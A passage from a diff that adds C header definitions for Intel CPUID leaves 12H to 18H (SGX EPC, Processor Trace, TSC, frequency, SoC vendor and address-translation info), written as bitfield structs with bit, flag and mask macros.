Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) + * + * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + * This structure describes sub-leaf type 0. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 3:0] Sub-leaf Type 0. Indicates this sub-leaf is invalid. + */ + uint32_t sub_leaf_type : 4; +#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 +#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 28; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is zero. + */ + uint32_t zero : 32; +#define CPUID_EBX_ZERO_BIT 0 +#define CPUID_EBX_ZERO_FLAG 0xFFFFFFFF +#define CPUID_EBX_ZERO_MASK 0xFFFFFFFF +#define CPUID_EBX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is zero. + */ + uint32_t zero : 32; +#define CPUID_ECX_ZERO_BIT 0 +#define CPUID_ECX_ZERO_FLAG 0xFFFFFFFF +#define CPUID_ECX_ZERO_MASK 0xFFFFFFFF +#define CPUID_ECX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is zero. + */ + uint32_t zero : 32; +#define CPUID_EDX_ZERO_BIT 0 +#define CPUID_EDX_ZERO_FLAG 0xFFFFFFFF +#define CPUID_EDX_ZERO_MASK 0xFFFFFFFF +#define CPUID_EDX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_02p_slt_0; + +/** + * @brief Intel SGX EPC Enumeration Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) + * + * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + * This structure describes sub-leaf type 1. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 3:0] Sub-leaf Type 1. This sub-leaf enumerates an EPC section. EBX:EAX and EDX:ECX provide information on the + * Enclave Page Cache (EPC) section. + */ + uint32_t sub_leaf_type : 4; +#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 +#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 8; + + /** + * [Bits 31:12] Bits 31:12 of the physical address of the base of the EPC section. + */ + uint32_t epc_base_physical_address_1 : 20; +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_BIT 12 +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_FLAG 0xFFFFF000 +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_MASK 0xFFFFF +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 19:0] Bits 51:32 of the physical address of the base of the EPC section. + */ + uint32_t epc_base_physical_address_2 : 20; +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_BIT 0 +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_FLAG 0xFFFFF +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_MASK 0xFFFFF +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2(_) (((_) >> 0) & 0xFFFFF) + uint32_t reserved1 : 12; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 3:0] EPC section property encoding defined as follows: + * - If EAX[3:0] 0000b, then all bits of the EDX:ECX pair are enumerated as 0. + * - If EAX[3:0] 0001b, then this section has confidentiality and integrity protection. + * All other encodings are reserved. + */ + uint32_t epc_section_property : 4; +#define CPUID_ECX_EPC_SECTION_PROPERTY_BIT 0 +#define CPUID_ECX_EPC_SECTION_PROPERTY_FLAG 0x0F +#define CPUID_ECX_EPC_SECTION_PROPERTY_MASK 0x0F +#define CPUID_ECX_EPC_SECTION_PROPERTY(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 8; + + /** + * [Bits 31:12] Bits 31:12 of the size of the corresponding EPC section within the Processor Reserved Memory. + */ + uint32_t epc_size_1 : 20; +#define CPUID_ECX_EPC_SIZE_1_BIT 12 +#define CPUID_ECX_EPC_SIZE_1_FLAG 0xFFFFF000 +#define CPUID_ECX_EPC_SIZE_1_MASK 0xFFFFF +#define CPUID_ECX_EPC_SIZE_1(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 19:0] Bits 51:32 of the size of the corresponding EPC section within the Processor Reserved Memory. + */ + uint32_t epc_size_2 : 20; +#define CPUID_EDX_EPC_SIZE_2_BIT 0 +#define CPUID_EDX_EPC_SIZE_2_FLAG 0xFFFFF +#define CPUID_EDX_EPC_SIZE_2_MASK 0xFFFFF +#define CPUID_EDX_EPC_SIZE_2(_) (((_) >> 0) & 0xFFFFF) + uint32_t reserved1 : 12; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_02p_slt_1; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_14 \ + * EAX = 0x14 + * + * When CPUID executes with EAX set to 14H and ECX = 0H, the processor returns information about Intel Processor Trace + * extensions. + * When CPUID executes with EAX set to 14H and ECX = n (n > 0 and less than the number of non-zero bits in CPUID.(EAX=14H, + * ECX= 0H).EAX), the processor returns information about packet generation in Intel Processor Trace. + * @{ + */ +#define CPUID_INTEL_PROCESSOR_TRACE_INFORMATION 0x00000014 + /** + * @brief Intel Processor Trace Enumeration Main Leaf (EAX = 14H, ECX = 0) + * + * @note Leaf 14H main leaf (ECX = 0). + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum sub-leaf supported in leaf 14H. + */ + uint32_t max_sub_leaf : 32; +#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 +#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] If 1, indicates that IA32_RTIT_CTL.CR3Filter can be set to 1, and that IA32_RTIT_CR3_MATCH MSR can be accessed. + */ + uint32_t flag0 : 1; +#define CPUID_EBX_FLAG0_BIT 0 +#define CPUID_EBX_FLAG0_FLAG 0x01 +#define CPUID_EBX_FLAG0_MASK 0x01 +#define CPUID_EBX_FLAG0(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If 1, indicates support of Configurable PSB and Cycle-Accurate Mode. + */ + uint32_t flag1 : 1; +#define CPUID_EBX_FLAG1_BIT 1 +#define CPUID_EBX_FLAG1_FLAG 0x02 +#define CPUID_EBX_FLAG1_MASK 0x01 +#define CPUID_EBX_FLAG1(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If 1, indicates support of IP Filtering, TraceStop filtering, and preservation of Intel PT MSRs across warm + * reset. + */ + uint32_t flag2 : 1; +#define CPUID_EBX_FLAG2_BIT 2 +#define CPUID_EBX_FLAG2_FLAG 0x04 +#define CPUID_EBX_FLAG2_MASK 0x01 +#define CPUID_EBX_FLAG2(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] If 1, indicates support of MTC timing packet and suppression of COFI-based packets. + */ + uint32_t flag3 : 1; +#define CPUID_EBX_FLAG3_BIT 3 +#define CPUID_EBX_FLAG3_FLAG 0x08 +#define CPUID_EBX_FLAG3_MASK 0x01 +#define CPUID_EBX_FLAG3(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] If 1, indicates support of PTWRITE. Writes can set IA32_RTIT_CTL[12] (PTWEn) and IA32_RTIT_CTL[5] (FUPonPTW), + * and PTWRITE can generate packets. + */ + uint32_t flag4 : 1; +#define CPUID_EBX_FLAG4_BIT 4 +#define CPUID_EBX_FLAG4_FLAG 0x10 +#define CPUID_EBX_FLAG4_MASK 0x01 +#define CPUID_EBX_FLAG4(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] If 1, indicates support of Power Event Trace. Writes can set IA32_RTIT_CTL[4] (PwrEvtEn), enabling Power Event + * Trace packet generation. + */ + uint32_t flag5 : 1; +#define CPUID_EBX_FLAG5_BIT 5 +#define CPUID_EBX_FLAG5_FLAG 0x20 +#define CPUID_EBX_FLAG5_MASK 0x01 +#define CPUID_EBX_FLAG5(_) (((_) >> 5) & 0x01) + uint32_t reserved1 : 26; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] If 1, Tracing can be enabled with IA32_RTIT_CTL.ToPA = 1, hence utilizing the ToPA output scheme; + * IA32_RTIT_OUTPUT_BASE and IA32_RTIT_OUTPUT_MASK_PTRS MSRs can be accessed. + */ + uint32_t flag0 : 1; +#define CPUID_ECX_FLAG0_BIT 0 +#define CPUID_ECX_FLAG0_FLAG 0x01 +#define CPUID_ECX_FLAG0_MASK 0x01 +#define CPUID_ECX_FLAG0(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If 1, ToPA tables can hold any number of output entries, up to the maximum allowed by the MaskOrTableOffset + * field of IA32_RTIT_OUTPUT_MASK_PTRS. + */ + uint32_t flag1 : 1; +#define CPUID_ECX_FLAG1_BIT 1 +#define CPUID_ECX_FLAG1_FLAG 0x02 +#define CPUID_ECX_FLAG1_MASK 0x01 +#define CPUID_ECX_FLAG1(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If 1, indicates support of Single-Range Output scheme. + */ + uint32_t flag2 : 1; +#define CPUID_ECX_FLAG2_BIT 2 +#define CPUID_ECX_FLAG2_FLAG 0x04 +#define CPUID_ECX_FLAG2_MASK 0x01 +#define CPUID_ECX_FLAG2(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] If 1, indicates support of output to Trace Transport subsystem. + */ + uint32_t flag3 : 1; +#define CPUID_ECX_FLAG3_BIT 3 +#define CPUID_ECX_FLAG3_FLAG 0x08 +#define CPUID_ECX_FLAG3_MASK 0x01 +#define CPUID_ECX_FLAG3(_) (((_) >> 3) & 0x01) + uint32_t reserved1 : 27; + + /** + * [Bit 31] If 1, generated packets which contain IP payloads have LIP values, which include the CS base component. + */ + uint32_t flag31 : 1; +#define CPUID_ECX_FLAG31_BIT 31 +#define CPUID_ECX_FLAG31_FLAG 0x80000000 +#define CPUID_ECX_FLAG31_MASK 0x01 +#define CPUID_ECX_FLAG31(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_14_ecx_00; + +/** + * @brief Intel Processor Trace Enumeration Sub-leaf (EAX = 14H, ECX = 1) + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 2:0] Number of configurable Address Ranges for filtering. + */ + uint32_t number_of_configurable_address_ranges_for_filtering : 3; +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_BIT 0 +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_FLAG 0x07 +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_MASK 0x07 +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING(_) (((_) >> 0) & 0x07) + uint32_t reserved1 : 13; + + /** + * [Bits 31:16] Bitmap of supported MTC period encodings. + */ + uint32_t bitmap_of_supported_mtc_period_encodings : 16; +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_BIT 16 +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_FLAG 0xFFFF0000 +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_MASK 0xFFFF +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Bitmap of supported Cycle Threshold value encodings. + */ + uint32_t bitmap_of_supported_cycle_threshold_value_encodings : 16; +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_BIT 0 +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_FLAG 0xFFFF +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_MASK 0xFFFF +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bits 31:16] Bitmap of supported Configurable PSB frequency encodings. + */ + uint32_t bitmap_of_supported_configurable_psb_frequency_encodings : 16; +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_BIT 16 +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_FLAG 0xFFFF0000 +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_MASK 0xFFFF +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_14_ecx_01; + +/** + * @} + */ + + + /** + * @brief Stamp Counter and Nominal Core Crystal Clock Information Leaf + * + * When CPUID executes with EAX set to 15H and ECX = 0H, the processor returns information about Time Stamp Counter and + * Core Crystal Clock. + * + * @note If EBX[31:0] is 0, the TSC/"core crystal clock" ratio is not enumerated. EBX[31:0]/EAX[31:0] indicates the ratio + * of the TSC frequency and the core crystal clock frequency. + * If ECX is 0, the nominal core crystal clock frequency is not enumerated. "TSC frequency" = "core crystal clock + * frequency" * EBX/EAX. + */ +#define CPUID_TIME_STAMP_COUNTER_INFORMATION 0x00000015 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] An unsigned integer which is the denominator of the TSC/"core crystal clock" ratio. + */ + uint32_t denominator : 32; +#define CPUID_EAX_DENOMINATOR_BIT 0 +#define CPUID_EAX_DENOMINATOR_FLAG 0xFFFFFFFF +#define CPUID_EAX_DENOMINATOR_MASK 0xFFFFFFFF +#define CPUID_EAX_DENOMINATOR(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] An unsigned integer which is the numerator of the TSC/"core crystal clock" ratio. + */ + uint32_t numerator : 32; +#define CPUID_EBX_NUMERATOR_BIT 0 +#define CPUID_EBX_NUMERATOR_FLAG 0xFFFFFFFF +#define CPUID_EBX_NUMERATOR_MASK 0xFFFFFFFF +#define CPUID_EBX_NUMERATOR(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] An unsigned integer which is the nominal frequency of the core crystal clock in Hz. + */ + uint32_t nominal_frequency : 32; +#define CPUID_ECX_NOMINAL_FREQUENCY_BIT 0 +#define CPUID_ECX_NOMINAL_FREQUENCY_FLAG 0xFFFFFFFF +#define CPUID_ECX_NOMINAL_FREQUENCY_MASK 0xFFFFFFFF +#define CPUID_ECX_NOMINAL_FREQUENCY(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_15; + + +/** + * @brief Processor Frequency Information Leaf + * + * When CPUID executes with EAX set to 16H, the processor returns information about Processor Frequency Information. + * + * @note Data is returned from this interface in accordance with the processor's specification and does not reflect actual + * values. Suitable use of this data includes the display of processor information in like manner to the processor brand + * string and for determining the appropriate range to use when displaying processor information e.g. frequency history + * graphs. The returned information should not be used for any other purpose as the returned information does not + * accurately correlate to information / counters returned by other processor interfaces. + * While a processor may support the Processor Frequency Information leaf, fields that return a value of zero are not + * supported. + */ +#define CPUID_PROCESSOR_FREQUENCY_INFORMATION 0x00000016 +typedef struct +{ + union + { + struct + { + /** + * [Bits 15:0] Processor Base Frequency (in MHz). + */ + uint32_t procesor_base_frequency_mhz : 16; +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_BIT 0 +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_FLAG 0xFFFF +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ_MASK 0xFFFF +#define CPUID_EAX_PROCESOR_BASE_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Maximum Frequency (in MHz). + */ + uint32_t processor_maximum_frequency_mhz : 16; +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_BIT 0 +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_FLAG 0xFFFF +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ_MASK 0xFFFF +#define CPUID_EBX_PROCESSOR_MAXIMUM_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 15:0] Bus (Reference) Frequency (in MHz). + */ + uint32_t bus_frequency_mhz : 16; +#define CPUID_ECX_BUS_FREQUENCY_MHZ_BIT 0 +#define CPUID_ECX_BUS_FREQUENCY_MHZ_FLAG 0xFFFF +#define CPUID_ECX_BUS_FREQUENCY_MHZ_MASK 0xFFFF +#define CPUID_ECX_BUS_FREQUENCY_MHZ(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_16; + +/** + * @defgroup cpuid_eax_17 \ + * EAX = 0x17 + * + * When CPUID executes with EAX set to 17H, the processor returns information about the System-On-Chip Vendor Attribute + * Enumeration. + * @{ + */ +#define CPUID_SOC_VENDOR_INFORMATION 0x00000017 + /** + * @brief System-On-Chip Vendor Attribute Enumeration Main Leaf (EAX = 17H, ECX = 0) + * + * @note Leaf 17H main leaf (ECX = 0). Leaf 17H output depends on the initial value in ECX. Leaf 17H sub-leaves 1 through 3 + * reports SOC Vendor Brand String. Leaf 17H is valid if MaxSOCID_Index >= 3. Leaf 17H sub-leaves 4 and above are reserved. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 17H. + */ + uint32_t max_soc_id_index : 32; +#define CPUID_EAX_MAX_SOC_ID_INDEX_BIT 0 +#define CPUID_EAX_MAX_SOC_ID_INDEX_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_SOC_ID_INDEX_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_SOC_ID_INDEX(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] SOC Vendor ID. + */ + uint32_t soc_vendor_id : 16; +#define CPUID_EBX_SOC_VENDOR_ID_BIT 0 +#define CPUID_EBX_SOC_VENDOR_ID_FLAG 0xFFFF +#define CPUID_EBX_SOC_VENDOR_ID_MASK 0xFFFF +#define CPUID_EBX_SOC_VENDOR_ID(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bit 16] If 1, the SOC Vendor ID field is assigned via an industry standard enumeration scheme. Otherwise, the SOC + * Vendor ID field is assigned by Intel. + */ + uint32_t is_vendor_scheme : 1; +#define CPUID_EBX_IS_VENDOR_SCHEME_BIT 16 +#define CPUID_EBX_IS_VENDOR_SCHEME_FLAG 0x10000 +#define CPUID_EBX_IS_VENDOR_SCHEME_MASK 0x01 +#define CPUID_EBX_IS_VENDOR_SCHEME(_) (((_) >> 16) & 0x01) + uint32_t reserved1 : 15; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] A unique number an SOC vendor assigns to its SOC projects. + */ + uint32_t project_id : 32; +#define CPUID_ECX_PROJECT_ID_BIT 0 +#define CPUID_ECX_PROJECT_ID_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROJECT_ID_MASK 0xFFFFFFFF +#define CPUID_ECX_PROJECT_ID(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] A unique number within an SOC project that an SOC vendor assigns. + */ + uint32_t stepping_id : 32; +#define CPUID_EDX_STEPPING_ID_BIT 0 +#define CPUID_EDX_STEPPING_ID_FLAG 0xFFFFFFFF +#define CPUID_EDX_STEPPING_ID_MASK 0xFFFFFFFF +#define CPUID_EDX_STEPPING_ID(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_17_ecx_00; + +/** + * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaf (EAX = 17H, ECX = 1..3) + * + * @note Leaf 17H output depends on the initial value in ECX. SOC Vendor Brand String is a UTF-8 encoded string padded with + * trailing bytes of 00H. The complete SOC Vendor Brand String is constructed by concatenating in ascending order of + * EAX:EBX:ECX:EDX and from the sub-leaf 1 fragment towards sub-leaf 3. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_EAX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_EBX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_ECX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] SOC Vendor Brand String. UTF-8 encoded string. + */ + uint32_t soc_vendor_brand_string : 32; +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_BIT 0 +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_FLAG 0xFFFFFFFF +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING_MASK 0xFFFFFFFF +#define CPUID_EDX_SOC_VENDOR_BRAND_STRING(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_17_ecx_01_03; + +/** + * @brief System-On-Chip Vendor Attribute Enumeration Sub-leaves (EAX = 17H, ECX > MaxSOCID_Index) + * + * @note Leaf 17H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Reserved = 0. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_17_ecx_n; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_18 \ + * EAX = 0x18 + * + * When CPUID executes with EAX set to 18H, the processor returns information about the Deterministic Address Translation + * Parameters. + * @{ + */ +#define CPUID_DETERMINISTIC_ADDRESS_TRANSLATION_PARAMETERS 0x00000018 + /** + * @brief Deterministic Address Translation Parameters Main Leaf (EAX = 18H, ECX = 0) + * + * @note Each sub-leaf enumerates a different address translation structure. + * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value + * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to + * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf + * or than a valid sub-leaf of a higher or lower-level structure. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum input value of supported sub-leaf in leaf 18H. + */ + uint32_t max_sub_leaf : 32; +#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 +#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] 4K page size entries supported by this structure. + */ + uint32_t page_entries_4kb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] 2MB page size entries supported by this structure. + */ + uint32_t page_entries_2mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 